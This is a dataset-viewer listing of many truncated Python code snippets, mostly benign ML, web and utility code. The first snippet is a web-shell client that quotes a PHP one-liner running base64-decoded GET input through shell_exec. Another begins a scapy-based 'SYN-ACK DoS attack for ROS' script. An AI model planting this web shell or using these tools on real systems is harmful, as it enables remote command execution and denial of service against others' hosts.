content stringlengths 5 1.05M |
|---|
#!/usr/bin/python2
import sys, urllib, base64
import requests
##Procedural slop and I know it... but gets 'er done
## LOL
## '<?php "$a" = base64_decode($_GET["a"]); echo "$a", shell_exec("$a"); ?>'
encORdec="0" ##not yet implemented option decode
baseURL=""
line=""
is_base64ENC="0"
is_base64DEC="0" ##not yet... |
import torch
import numpy as np
import os
import sys
sys.path.insert(1, os.path.join(sys.path[0], '..'))
from models import ResNet18
from nad_computation import GradientCovarianceAnisotropyFinder
DEVICE = 'cuda' if torch.cuda.is_available() else 'cpu'
def model_gen_fun():
model = ResNet18(num_classes=1, num_chan... |
#!/usr/bin/env python
import numpy as np
from mrfmap_ros.GVDBPyModules import GVDBInference, GVDBImage, gvdb_params, GVDBMapLikelihoodEstimator, KeyframeSelector, GVDBOctomapWrapper, PangolinViewer
from mrfmap_ros.MRFMapRosPyModules import GVDBBatchMapCreator
from mrfmap_ros.ReadTemporalCorrectedBag import ReadTemporal... |
from z3 import *
CONNECTIVE_OPS = [Z3_OP_NOT,Z3_OP_AND,Z3_OP_OR,Z3_OP_IMPLIES,Z3_OP_IFF,Z3_OP_ITE]
REL_OPS = [Z3_OP_EQ,Z3_OP_LE,Z3_OP_LT,Z3_OP_GE,Z3_OP_GT]
OPERATORS = CONNECTIVE_OPS + REL_OPS
# var is tuple (type, name)
def createVar(var):
t = var[0]
n = var[1]
if t=="int":
return Int('%s' % n)
elif t=="... |
# Copyright (c) 2020, Michael Boyle
# See LICENSE file for details:
# <https://github.com/moble/quaternionic/blob/master/LICENSE>
import numpy as np
from . import jit, guvectorize, algebra, float64
from .utilities import ndarray_args
_divide = jit(algebra.divide)
_log = jit(algebra.log)
_absolute = jit(algebra.absolu... |
games = ["chess", "soccer", "tennis"]
foods = ["chicken", "milk", "fruits"]
favorites = games + foods
print(favorites)
|
# --------------------------------------------------------
# Multitask Network Cascade
# Modified from py-faster-rcnn (https://github.com/rbgirshick/py-faster-rcnn)
# Copyright (c) 2016, Haozhi Qi
# Licensed under The MIT License [see LICENSE for details]
# --------------------------------------------------------
impo... |
from setuptools import setup
NAME = 'XOR_CheckSum_zsd'
VERSION = '1.0.7'
URL = 'https://github.com/zhangsheng377/XOR_CheckSum_zsd'
KEYWORDS = 'XOR checksum string zsd'
EMAIL = '[email protected]'
DESCRIPTION = 'XOR_CheckSum tools'
LONG_DESCRIPTION = '''
\>\>\> from XOR_CheckSum import xor_checksum_string
\>\>\> xor_ch... |
#!/usr/bin/env python
# -*- Mode: Python; tab-width: 4; indent-tabs-mode: nil; coding: utf-8; -*-
# vim:set ft=python ts=4 sw=4 sts=4 autoindent:
from __future__ import with_statement
'''
Merge BioNLP Shared Task annotation format into a single annotation file.
find data -name '*.a1' -o -name '*.a2' -o -name '*.rel'... |
# imports
#region
import os
import pyreadstat
import pandas as pd
import numpy as np
from statsmodels.stats.weightstats import DescrStatsW
from sklearn.linear_model import LinearRegression
import statsmodels.api as sm
import statsmodels.formula.api as smf
import seaborn as sns
import matplotlib as mpl
mpl.u... |
import requests
from bs4 import BeautifulSoup
import lxml
url = 'https://www.flipkart.com/msi-gf63-thin-core-i5-10th-gen-8-gb-1-tb-hdd-windows-10-home-4-gb-graphics-nvidia-geforce-gtx-1650-max-q-60-hz-10scxr-1618in-gaming-laptop/p/itm76993f27ad4bd?pid=COMG2K9ZJWWV2BGX&lid=LSTCOMG2K9ZJWWV2BGXWYR6AP&marketplace=FLIPKART... |
#
# compareExtinctions.py
#
# Authors: Will Clarkson (UM-Dearborn) and Alessandro Mazzi (INAF)
# Started 2021-04-02
#
#
# Use Bovy's dustmaps and Alessandro Mazzi's STILISM_LOCAL.py to
# compare the lallement and bovy extinction predictions for a
# particular sight line.
#
# Bovy et al. and stilism_local - must be... |
#
# @lc app=leetcode.cn id=529 lang=python3
#
# [529] minesweeper
#
None
# @lc code=end |
from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
import numpy as np
import math
# Motor
Rm = 8.4 # Resistance
kt = 0.042 # Current-torque (N-m/A)
km = 0.042 # Back-emf constant (V-s/rad)
# Rotary Arm
mr = 0.095 # Mass (kg)
Lr = 0.085 # Total length (m... |
import queue
import copy
from english_words import english_words_set
ENGLISH_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
dictionary_search = True
guesses = [
"PANTS",
"FJORD",
"CHEWY"
]
scores = [
"BBGGB",
"BBYBB",
"BYBBB"
]
def input_validation(guesses, scores):
if len(guesses) != len(scores... |
#!/usr/bin/python3
"""
We are given an array asteroids of integers representing asteroids in a row.
For each asteroid, the absolute value represents its size, and the sign
represents its direction (positive meaning right, negative meaning left). Each
asteroid moves at the same speed.
Find out the state of the asteroi... |
lanche = ('Hamburguer', 'Suco', 'Pizza', 'Pudim')
#print(lanche[1:3]) # só irá imprimir Suco e Pizza
#lanche = ('Hamburguer', 'Suco', 'Pizza', 'Pudim')
#for comida in lanche:
# print(f'Eu vou comer {comida}')
#print('-'*30)
#
#for cont in range (0, len(lanche)):
# print(f'Eu vou comer {lanche[cont]} na posicao {... |
# coding: utf8
# The MIT License (MIT)
#
# Copyright (c) 2018 Niklas Rosenstein
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
... |
import habitat_sim
from Config import Config
class Simulator:
def __init__(self):
test_scene = Config().scene
sim_settings = {
"width": 640, # Spatial resolution of the observations
"height": 480,
"scene": test_scene, # Scene path
"default_agent": ... |
#! /usr/bin/env python3
from memo import memoize
import sys
description = '''
Path sum: four ways
Problem 83
NOTE: This problem is a significantly more challenging version of Problem 81.
In the 5 by 5 matrix below, the minimal path sum from the top left to the bottom right, by moving left, right, up, and down, is in... |
import os
from collections import defaultdict
def part1(lines):
coords = set()
max_r = max_c = 0
for line in lines:
r, c = map(int, line.split(", "))
coords.add((r, c))
max_r = max(max_r, r)
max_c = max(max_c, c)
coord_id_to_point = {coord_id: point for coord_id, point... |
# pylint: disable=C0103
from CounterFit.sensors import *
from CounterFit.serial_sensors import *
from CounterFit.binary_sensors import *
from CounterFit.i2c_sensors import *
from CounterFit.actuators import *
__version__ = "0.1.3.dev29"
|
import datetime
import re
import time
import aiohttp
from utils.config import config
from utils.metrics import checked_tokens, tokenzer_reply
regex = re.compile("Bearer\s(\S+)")
async def verifyAuth(app, handler):
async def middleware_handler(request):
try:
if request.path == "/":
checked_tokens.inc()
h... |
# -*- coding: utf-8 -*-
import matplotlib.pyplot as plt
from matplotlib import ticker
import seaborn as sns
from keras.preprocessing.image import ImageDataGenerator
from keras.models import Sequential
from keras.layers import Convolution2D, MaxPooling2D
from keras.layers import Activation, Dropout, Flatten, Dense
from... |
# Data directory
data_directory = "./data"
# Listen address
listen_address = "0.0.0.0"
# Listen port
listen_port = 5000
# Use whitelisting
# Whitelisted IPs can view recent pastes on the home page, as well as delete pastes
# For limiting pasting to whitelisted users, enable the "restrict_pasting" option below
use_wh... |
from __future__ import unicode_literals
import time
from wand.image import Image as ImageHandler
class ImageMetadata(object):
@classmethod
def image_metadata(cls, contents):
handler = ImageHandler(blob=contents)
metadata = handler.metadata
any_exif = filter(lambda x: x.startswith('exi... |
import unittest
import os
from TestCase.test_HomePage import HomePage
from TestCase.test_AddToCartAndPayment import AddToCartAndPayment
tc1 = unittest.TestLoader().loadTestsFromTestCase(HomePage)
tc2 = unittest.TestLoader().loadTestsFromTestCase(AddToCartAndPayment)
senityTestSuites = unittest.TestSuite([tc1])
funTes... |
from django.apps import AppConfig
class SakilaConfig(AppConfig):
name = 'sakila'
|
# อ่านทความ https://python3.wannaphong.com/2016/08/%E0%B9%83%E0%B8%8A%E0%B9%89-gnu-octave-%E0%B8%81%E0%B8%B1%E0%B8%9A-python.html
# ใช้ GNU Octave กับ Python
import numpy as np
from oct2py import Oct2Py
oc = Oct2Py()
oc.plot([1,2,3],'-o', linewidth=2)
xx = np.arange(-2*np.pi, 2*np.pi, 0.2)
oc.surf(np.subtract.outer(np.... |
from unittest import TestCase
from datetime import date
from pyperiods.period import InvalidPeriodError
from pyperiods.years import YearPeriod
class YearPeriodTest(TestCase):
def test_empty_constructor_uses_current_year(self):
current_year = date.today().year
period = YearPeriod()
self... |
from pyansys_cartpole.envs.cartpole_mapdl import CartPoleMapdl
from pyansys_cartpole.envs.cartpole_mapdl_simple import CartPoleMapdlSimple
from pyansys_cartpole.envs.cartpole_env import CartPoleEnv
|
from contextlib import closing
import urllib2
import base64
import os
import sys
here = os.path.dirname(os.path.realpath(__file__))
sys.path.append(os.path.join(here, "../vendored"))
from googleapiclient import discovery
from oauth2client.client import GoogleCredentials
API_URL = 'https://{api}.googleapis.com/$disco... |
# https://binarysearch.com/problems/Binary-Search-Tree-Validation
class Solution:
@staticmethod
def getAll(root,lst):
if root == None:
return
lst.append(root.val)
Solution.getAll(root.left,lst)
Solution.getAll(root.right,lst)
def solve(self, root) -> bool:
... |
import collections
import inspect
from typing import List, Union, Callable, Tuple, Any, Optional, Mapping
from databutler.pat.analysis.clock import LogicalClock
from databutler.pat.analysis.hierarchical_trace.builder_utils import TraceEventsCollector, TraceItemsCollector
from databutler.pat.analysis.hierarchical_trac... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""Tests for the MSIE typed URLs Windows Registry plugin."""
import unittest
from plaso.formatters import winreg as _ # pylint: disable=unused-import
from plaso.lib import timelib
from plaso.parsers.winreg_plugins import typedurls
from tests.parsers.winreg_plugins import te... |
import numpy as np
from category_encoders import HashingEncoder
from featuretools.primitives.base.transform_primitive_base import (
TransformPrimitive
)
from featuretools.variable_types import Categorical, Numeric
class HashingEnc(TransformPrimitive):
"""Applies a Hashing Encoder to the values.
Parameter... |
# Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import torch.nn.functional as F
from utils.arap_interpolation import *
from data.data import *
from model.layers import *
class NetParam(Para... |
""" Histology context decoder """
from pathlib import Path
import logging
import urllib.request
import shutil
import numpy as np
import h5py
from brainspace.gradient.gradient import GradientMaps
from brainspace.utils.parcellation import reduce_by_labels
def compute_histology_gradients(
mpc,
kernel="normalize... |
__version__ = "0.8.1.1"
from .readability import Document
|
# Copyright 2021 The Blqs Developers
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... |
import logging
logging.basicConfig(filename='marvin.log',level=logging.DEBUG)
logger = logging.getLogger('MARVIN')
logger.setLevel(logging.DEBUG)
def consoleDebugActive(consoleActivated):
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
if(consoleActivated):
ch = ... |
#################################################################################
# The Institute for the Design of Advanced Energy Systems Integrated Platform
# Framework (IDAES IP) was produced under the DOE Institute for the
# Design of Advanced Energy Systems (IDAES), and is copyright (c) 2018-2021
# by the softwar... |
#031 programa que leia a distancia de uma viagem e calcule o custo
# 0.50 por km até 200 km; mais de 200km , 0.45 por km
distancia = int(input("Qual a distância percorrida em Km para realizar sua viagem? "))
if distancia < 200:
custo = distancia * 0.50
print(f"A sua viagem será de {distancia}km. "
f... |
from .arch_strand import ArchStrand
|
# -*- coding: utf-8 -*-
from app.constants import S_OK, S_ERR
import random
import math
import base64
import time
import ujson as json
from app import cfg
from app import util
def parse_json_kaohsiung_dig_point(data):
'''
add 1 town name 2. location. 3. range. 4. work_institute. 5. work_institute2
'''
... |
r"""
`contk.metrics` provides functions evaluating results of models. It provides
a fair metric for every model.
"""
from .metric import MetricBase, PerlplexityMetric, BleuCorpusMetric, \
SingleDialogRecorder, LanguageGenerationRecorder, MetricChain
__all__ = ["MetricBase", "PerlplexityMetric", "B... |
class BaseOptError(Exception):
pass
class DefaultValueError(BaseOptError):
pass
class ChoicesValueError(BaseOptError):
pass
class ValueTypeError(BaseOptError):
pass
class BaseOpt(object):
def __init__(self, default, type, help=None, required=False,
secret=False, choices=Non... |
"""
Copyright (C) 2019 NVIDIA Corporation. All rights reserved.
Licensed under the NVIDIA Source Code License. See LICENSE.md at https://github.com/NVlabs/extreme-view-synth.
Authors: Inchang Choi, Orazio Gallo, Alejandro Troccoli, Min H. Kim, and Jan Kautz
"""
import numpy as np
import torch
from torch.autograd impo... |
import factory
from booking.models import MaterialImage
from booking.tests.factories import MaterialFactory
class MaterialImageFactory(factory.django.DjangoModelFactory):
class Meta:
model = MaterialImage
material = factory.SubFactory(MaterialFactory)
image = factory.django.ImageField()
|
import psutil
import platform
from datetime import datetime
def get_size(bytes, suffix="B"):
"""
Scale bytes to its proper format
e.g:
1253656 => '1.20MB'
1253656678 => '1.17GB'
"""
factor = 1024
for unit in ["", "K", "M", "G", "T", "P"]:
if bytes < factor:
... |
# -*- coding: utf-8 -*-
import unittest
import six
from launchd import cmd
class LaunchdCmdTest(unittest.TestCase):
def setUp(self):
unittest.TestCase.setUp(self)
def tearDown(self):
unittest.TestCase.tearDown(self)
def testlaunchctl_invalid_args(self):
self.assertRaises(Valu... |
import numpy as np
import os
from keras.datasets import mnist
from keras.utils import np_utils
print('Start downloading dataset...')
# load MNIST from server
(x_train, y_train), (x_test, y_test) = mnist.load_data()
# training data : 60000 samples
# reshape and normalize input data
x_train = x_train.reshape(x_train.s... |
#!/usr/bin/env python
# ----------------------------------------------------------------------------
# Copyright (c) 2013--, ili development team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file LICENSE.md, distributed with this software.
# ------------------------------... |
# -*- coding: utf-8 -*-
from django.http import HttpResponseRedirect, HttpResponse
from django.shortcuts import render_to_response
from django.template import RequestContext
from django.core.urlresolvers import reverse
# in this example, import SiteUser just for get all users,
# to display at the home page.
# In a re... |
import os.path
from pathlib import Path
from os import fspath
import os.path
import json
import numpy as np
import pandas as pd
def Write_Brokers_Opening_Times(Chart):
data_path = Path(Path(
__file__).resolve().parent.parent.parent) / "DATA\BROKERS_OPEN_TIMES.csv"
data_path_last = fspath(data_path)
... |
'''
* Copyright (C) 2019-2020 Intel Corporation.
*
* SPDX-License-Identifier: BSD-3-Clause
'''
import copy
import json
import os
import string
import time
from threading import Lock, Thread
from collections import namedtuple
import gi
gi.require_version('Gst', '1.0')
gi.require_version('GstApp', '1.0')
# pylint: disab... |
import cv2
import edgeiq
import os
import json
import shutil
"""
Use image classification to sort a batch of images. The
classification labels can be changed by selecting different models.
Different images can be used by updating the files in the *source_images/*
directory.
NOTE: When developing onto a remote device,... |
# -----------------------------------------------------------------------------
def readable_file_size(size, suffix="b"):
"""
Return human readable file size.
Arguments:
size : int
suffix : str
Returns:
str
"""
unit_list = ["", "k", "M", "G", "T", "P", "E", "Z"]
... |
import random
from dataclasses import dataclass
import torch
from baselines.common.vec_env.shmem_vec_env import ShmemVecEnv
from iqn.model import IQN
from core.exploration import DecayingEpsilon
@dataclass
class EnvRunner:
envs: ShmemVecEnv
qf: IQN
eps: DecayingEpsilon
device: str
def _act(self, ... |
'''
The following codes are from https://github.com/d-li14/mobilenetv2.pytorch
'''
#pylint: disable=E1101,E1102,R0913,R1725,W0201,W0622,C0103,E1120,R0201,E0213
import os
import torch
import numpy as np
import torchvision.datasets as datasets
import torchvision.transforms as transforms
DATA_BACKEND_CHOICES = ['pytorc... |
#!/usr/bin/python3
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import numpy as np
import pysgpp
import helper.basis
import helper.function
import helper.grid
f = "beale"
d = 2
p = 3
b = 1
ns = list(range(1, 8))
grids = [
helper.grid.SGppGrid("bSpline", d, p, b),
helper.grid.SGppGrid(... |
from wtforms import Form, validators, StringField, FloatField
class DeviceDataCreateForm(Form):
device_token = StringField(
"Device Token", [validators.DataRequired(), validators.length(max=255)]
)
type = StringField("Type", [validators.DataRequired(), validators.length(max=255)])
value = Fl... |
import os
os.system("conan install . -g txt")
|
import logging
try:
import spynnaker7.pyNN as pyNN
except ImportError:
import spynnaker.pyNN as pyNN
logger = logging.getLogger(__file__)
class Retina(object):
def __init__(self, spike_times=None, label='retina', mode='offline'):
"""
Args:
spike_times: list of lists of lists f... |
from basic_op import *
from oper_32b import *
from ld8a import *
from tab_ld8a import *
from typing import List
def Lsp_Az(lsp: List[int], a: List[int], aOffset: int) -> None:
"""
# (i) Q15 : line spectral frequencies
# (o) Q12 : predictor coefficients (order = 10)
"""
f1 = [0] * 6
f2 = [0] ... |
"""Unit tests for runner_impl.py."""
import unittest
import numpy
from deep_learning.engine import q_base
from deep_learning.engine import qfunc_impl
from deep_learning.engine import runner_impl
class ExperienceReplayRunnerTest(unittest.TestCase):
def test_memoryManagement(self):
qfunc = qfunc_impl.RandomVal... |
"""
SYN-ACK DoS attack for ROS
DISCLAIMER: Use against your own hosts only! By no means I encourage or promote the unauthorized tampering with running robotic systems. This can cause serious human harm and material
damages.
"""
import sys
from scapy.all import *
from operator import itemgetter
from scapy.contrib.tcpr... |
from hathor.wallet.resources.address import AddressResource
from hathor.wallet.resources.balance import BalanceResource
from hathor.wallet.resources.history import HistoryResource
from hathor.wallet.resources.lock import LockWalletResource
from hathor.wallet.resources.send_tokens import SendTokensResource
from hathor.w... |
import os
import sys
import json
# Flask
from flask import Flask, redirect, url_for, request, render_template, Response, jsonify, redirect
from werkzeug.utils import secure_filename
from gevent.pywsgi import WSGIServer
# TensorFlow and tf.keras
import tensorflow as tf
from tensorflow import keras
import tensorflow_hu... |
import logging
import os
from string import Template
import numpy as np
from dataforge import Meta
from phd.thunderstorm.convert_to_hdf5 import get_named_cylinder_readers, get_named_number_readers_1
from phd.utils.convertor_tools import theta_to_direction
from phd.utils.hdf5_tools import get_convertor
from phd.utils.r... |
import numpy as np
import scipy.sparse
import qutip
def shuffle_indices_scipy_csr(matrix):
"""
Given a scipy.sparse.csr_matrix, shuffle the indices within each row and
return a new array. This should represent the same matrix, but in the less
efficient, "unsorted" manner. All mathematical operation... |
# coding=utf8
print 'Hello, World!' |
from ievv_opensource.utils.desktopnotifications.base import AbstractNotification
class Notification(AbstractNotification):
def show_message(self, title, message):
pass
|
'''
通常来说,当你处理图像,文本,语音或者视频数据时,你可以使用标准 python 包将数据加载成 numpy 数组格式,然后将这个数组转换成 torch.*Tensor
对于图像,可以用 Pillow,OpenCV
对于语音,可以用 scipy,librosa
对于文本,可以直接用 Python 或 Cython 基础数据加载模块,或者用 NLTK 和 SpaCy
'''
'''
特别是对于视觉,我们已经创建了一个叫做 totchvision 的包,
该包含有支持加载类似Imagenet,CIFAR10,MNIST 等公共数据集
的数据加载模块 torchvision.datasets 和支持加载图像数据数据转换模块 tor... |
from .text_mel_dataset import TextMelDataset, text_mel_collate
|
'''
Demo run file for different algorithms and Mujoco tasks.
'''
import numpy as np
import torch
import gym
import argparse
import ma_utils
import algorithms.mpe_new_maxminMADDPG as MA_MINE_DDPG
import math
import os
from tensorboardX import SummaryWriter
from multiprocessing import cpu_count
from maddpg.uti... |
from copy import deepcopy
from enum import Enum
import itertools
import numpy as np
import heapq, time
from scipy.spatial.distance import cdist
import pickle
from matplotlib import pyplot as plt
import imageio
class Status(Enum):
PREOPENED = 0
OPENED = 1
CLOSED = 2
CANCELED = 3
class Car:
def __... |
import torch
import torch.nn as nn
from DAMSM import ImageEncoder, TextEncoder, BertEncoder
from modules.models import (
Discriminator64,
Discriminator128,
Discriminator256,
Generator
)
from utils import init_weight, freeze_model
class Text2ImgModel(nn.Module):
def __init__(
self,
... |
"""
事前に、create_db.pyを実行してDBファイルを作成しておく必要がある。
Amazon Kindle Unlimitedのコミックス検索ページについて
各ページをスクレイピングしてSqlite3のデータに保存する。
"""
import os
import sqlite3
import sys
import traceback
from contextlib import closing
from time import sleep
from retry import retry
from selenium.common.exceptions import NoSuchElementException
from s... |
#
# inventory/regions/apps.py
#
"""
Regions App data
"""
__docformat__ = "restructuredtext en"
from django.apps import AppConfig
from django.utils.translation import gettext_lazy as _
class RegionsConfig(AppConfig):
name = 'inventory.regions'
label = 'regions'
verbose_name = _("Regions")
|
import urllib
from urllib.request import urlopen as Ureq, Request
import json
import time
import random
hdr = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36'}
def get_json(url):
req = Request(url, headers=hdr)
page = Ureq(req)
try:... |
##############################################################################
#
# Copyright (c) 2008 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOF... |
from datetime import datetime
class GoveeError(Exception):
pass
class APIError(GoveeError):
pass
class AuthError(APIError):
pass
class DevicesError(APIError):
pass
class RatelimitError(APIError):
def __init__(self, msg: str, time: int):
self.message = msg
self.time = dateti... |
"""Loads CSV files into GeoStreams
"""
import argparse
import csv
import datetime
import json
import logging
import os
from typing import Optional, Union
from urllib.parse import urlparse
import requests
from terrautils.betydb import get_sites_by_latlon
from terrautils.spatial import wkt_to_geojson
import configurat... |
from hujan_ui.maas import load_document
from hujan_ui.maas.exceptions import MAASError
import requests
import json
import sweetify
from django.utils.translation import ugettext_lazy as _
from django.conf import settings
from django.shortcuts import render, redirect
from django.contrib.auth.decorators import login_requ... |
# This config contains custom settings for all keys
import re
def before_update_hook(updated_issue, updated_issue_fields, other_issue, other_issue_fields):
pass
c.before_issue_update.append(before_update_hook)
c.jira.server = "https://test.jira.server"
c.jira.project_key = "TEST"
c.jira.github_issue_url_field... |
import warnings
warnings.filterwarnings("ignore")
import os
import argparse
import numpy as np
import pandas as pd
from tqdm import tqdm
from multiprocessing import cpu_count
from sklearn.model_selection import train_test_split
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.utils.data ... |
# Problem 1: Merge Two Sorted Lists
# Merge two sorted linked lists and return it as a new sorted list.
# The new list should be made by splicing together the nodes of the first two lists.
# Definition for singly-linked list.
# class ListNode(object):
# def __init__(self, val=0, next=None):
# self.val =... |
from .customstockenv import CustomStockEnv
class CustomStockEnvDefault(CustomStockEnv):
def __init__(self, data, config):
super(CustomStockEnvDefault, self).__init__(data, config)
self.prediction = False
def _predict_response(self, data):
print("Incorrect flow. Cannot predict for this env...")
exit()
|
import re
import textwrap
def justify_text(_text, w, align="left", fill=" "):
wrapper = textwrap.TextWrapper(width=w)
dedented_text = textwrap.dedent(text=_text)
txt = wrapper.fill(text=dedented_text)
def justify_both(get_text, _width):
prev_txt = get_text
while((l := _width-len(get_t... |
from common.tflogs2pandas import tflog2pandas
import pickle
import hashlib
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
from common.gym_interface import template
with open("output_data/jobs_vanilla4.pickle", "rb") as f:
jobs = pickle.load(f)
read_cache = True
try:
if not read_cach... |
#!/usr/bin/env python
"""Apply the DESITrIP CNN classifier to observed spectra,
chosen by tile ID and date.
"""
from desispec.io import read_spectra, write_spectra
from desispec.spectra import Spectra
from desitarget.cmx.cmx_targetmask import cmx_mask
from desitrip.preproc import rebin_flux, rescale_flux
from astrop... |
from django.core.management.base import BaseCommand
from elasticsearch import Elasticsearch
from create_lesson_plan.models import IndexDocument
class Command(BaseCommand):
def get_body(self, pk):
query_body ={
"query": {
"bool": {
"must": [
{"match": {
"pk": pk
}}
]
}
... |
#
# Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing... |
__author__ = 'rcj1492'
__created__ = '2015.06'
class meetupHandler(object):
''' handles responses from meetup api and usage data'''
_class_fields = {
'schema': {
'rate_limits': [
{'requests': 30, 'period': 10}
]
}
}
def __init__(... |
"""
module: tools for python modules
Corey Rayburn Yung <[email protected]>
Copyright 2020-2021, Corey Rayburn Yung
License: Apache-2.0 (https://www.apache.org/licenses/LICENSE-2.0)
Contents:
ToDo:
Add functions for getting and naming module-level variables.
"""
from __future__ import annotations
... |
BYTES = b"""version: 1
dn: cn=Alice Alison,
[email protected]
objectclass: top
objectclass: person
objectclass: organizationalPerson
cn: Alison Alison
mail: [email protected]
modifytimestamp: 4a463e9a
# another person
dn: [email protected]
objectclass: top
objectclass: person
mail: foobar@exam... |
from django.contrib.auth import get_user_model
from minemaphelper.minemap.models import World, MinecraftMap
from rest_framework import status
from rest_framework.reverse import reverse
from rest_framework.test import APITestCase, URLPatternsTestCase
class WorldTests(APITestCase):
def setUp(self):
self.u... |
# -*- coding: utf-8 -*-
# Config Django web project
# import os
# import sys
# BASE_DIR = os.path.dirname(__file__)
# WEB_DIR = os.path.join(BASE_DIR, 'web')
# sys.path.append(WEB_DIR)
# os.environ['DJANGO_SETTINGS_MODULE'] = 'web.settings'
# Config Scrapy
BOT_NAME = 'pyjobs'
SPIDER_MODULES = ['pyjobs.spiders']
NEW... |
#!/usr/bin/env python3
import sys
from time import sleep
import adafruit_dht
import board
dhtDevice = adafruit_dht.DHT22(board.D4)
max_number_of_reads = 50 # max reads attempted before exit(1)
good_reads_required = 2 # take the n-th successful read and stop trying
pause_between_reads = 3 # in seconds
f_val = ""
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.